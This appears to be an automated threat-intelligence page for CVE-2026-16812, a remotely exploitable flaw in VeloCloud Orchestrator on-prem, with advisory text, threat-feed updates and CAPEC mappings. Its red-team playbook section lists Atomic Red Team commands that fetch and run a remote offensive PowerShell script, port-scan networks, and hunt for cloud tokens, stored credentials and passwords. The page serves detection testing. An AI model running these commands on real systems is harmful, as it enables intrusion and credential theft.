CVE-2026-16812
Vulnerability Description
VeloCloud Orchestrator (VCO) on-prem has a security issue where this issue may allow a remote attacker to access privileged internal functionality and impact the VCO host. Successful exploitation may compromise the confidentiality, integrity, and availability of the orchestrator and data managed by the orchestrator. This functionality was intended to be for internal use only and is not intended to be remotely accessible. Hosted and Dedicated versions of VCO have already been patched in advance of this notice going out. This issue was discovered externally and is known to be actively exploited.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the VeloCloud Orchestrator (VCO) represents a critical security flaw that allows unauthorized remote access to privileged internal functionalities. This issue stems from a misconfiguration or oversight in the design, where features intended solely for internal use have inadvertently been exposed to external networks. This exposure can lead to severe consequences, as attackers can exploit this flaw to gain unauthorized access to sensitive data and control over the orchestrator itself. Given the high CVSS score of 10.0, the severity of this vulnerability is underscored, indicating that it poses an extreme risk to organizations utilizing this orchestration platform.
Attack vectors for this vulnerability are particularly concerning due to the potential for remote exploitation. An attacker could leverage various techniques, such as scanning for open ports or utilizing social engineering tactics to gain initial access. Once inside, the attacker could exploit the vulnerability to execute arbitrary commands, manipulate configurations, or extract sensitive information. Scenarios may include the deployment of malware, data exfiltration, or even lateral movement within the network to compromise other systems. The ease of exploitation, combined with the critical nature of the orchestrator in managing network functions, amplifies the risk of significant operational disruption.
The real-world impact of this vulnerability can be profound. Organizations relying on the VeloCloud Orchestrator for network management may face severe business risks, including data breaches, loss of customer trust, and regulatory penalties. The compromise of the orchestrator could lead to unauthorized access to sensitive customer data, intellectual property, and operational configurations. This breach could not only disrupt services but also result in financial losses due to remediation costs and potential legal liabilities. Furthermore, the active exploitation of this vulnerability in the wild heightens the urgency for organizations to address the issue promptly.
To detect and mitigate the risks associated with this vulnerability, organizations should adopt a multi-faceted approach. First, they should ensure that all instances of the VeloCloud Orchestrator are updated to the latest patched versions, as the hosted and dedicated versions have already been secured. Regular vulnerability assessments and penetration testing should be conducted to identify any remaining weaknesses in the system. Additionally, implementing robust network segmentation can help isolate the orchestrator from external access, minimizing the attack surface. Organizations should also enhance their monitoring capabilities to detect unusual access patterns or unauthorized attempts to exploit the vulnerability.
In conclusion, the vulnerability within the VeloCloud Orchestrator poses a significant threat to organizations that utilize this platform for network management. The potential for remote exploitation, coupled with the severe impact on confidentiality, integrity, and availability, necessitates immediate action. By prioritizing detection and mitigation strategies, organizations can safeguard their systems against this critical threat and ensure the continued security of their network operations.
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2026-16812, coinciding with its recent inclusion in the CISA Known Exploited Vulnerabilities (KEV) catalog. This formal recognition by CISA underscores the vulnerability’s critical severity and elevates its priority across federal and private sector networks. Our telemetry indicates a growing trend of scanning and probing attempts targeting the VeloCloud Orchestrator on-premises deployments, signaling increased attacker interest and potential reconnaissance preceding exploitation. The CVSS score adjustment to 10.0 reflects a reassessment of the vulnerability’s impact and exploitability, further emphasizing the urgent risk it poses. Although no new exploit code or ransomware activity has been observed to date, the rising EPSS score and KEV listing suggest that exploitation attempts may become more frequent and sophisticated. For defenders, this development necessitates heightened vigilance in monitoring for anomalous access patterns and reinforces the criticality of timely patching and risk mitigation. Overall, the threat level associated with CVE-2026-16812 has escalated from theoretical to imminent, demanding immediate attention within affected environments.
Update 2 — August 16, 2026
CSURFACE threat intelligence has detected a marked escalation in attempts to exploit CVE-2026-16812, reflected by a significant uptick in telemetry signals related to unauthorized access attempts targeting the VeloCloud Orchestrator On-Prem environment. Although the EPSS score has slightly decreased, this metric does not fully capture the surge in observed probing activity, which suggests adversaries are increasingly focusing on this vulnerability despite the absence of publicly disclosed exploit code or ransomware linkage. The recent inclusion of this CVE in the Known Exploited Vulnerabilities (KEV) catalog further underscores its growing prominence as a target within attacker campaigns. For defenders, this evolving landscape signals a heightened risk of successful compromise through exploitation of internal functionality that was never intended for remote access. Consequently, the threat level has shifted from a theoretical concern to a practical and imminent danger, necessitating increased monitoring and prioritization of mitigation efforts in affected environments.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Arista | Velocloud Orchestrator | All |
cpe:2.3:a:arista:velocloud_orchestrator:*:*:*:*:*:*:*:*
|
|
|
Arista | Velocloud Orchestrator | 7.0.0 |
cpe:2.3:a:arista:velocloud_orchestrator:7.0.0:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
13 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
43%
|
Medium | High | |
| CAPEC-6 | Argument Injection |
40%
|
High | High | |
| CAPEC-88 | OS Command Injection |
40%
|
High | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-16812 |
| arista.com |
GitHub CVE
vendor-advisory
|
https://www.arista.com/en/support/advisories-notices/security-advisory/24364-security-advisory-0144 |
| cisa.gov |
NVD API
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-16812 |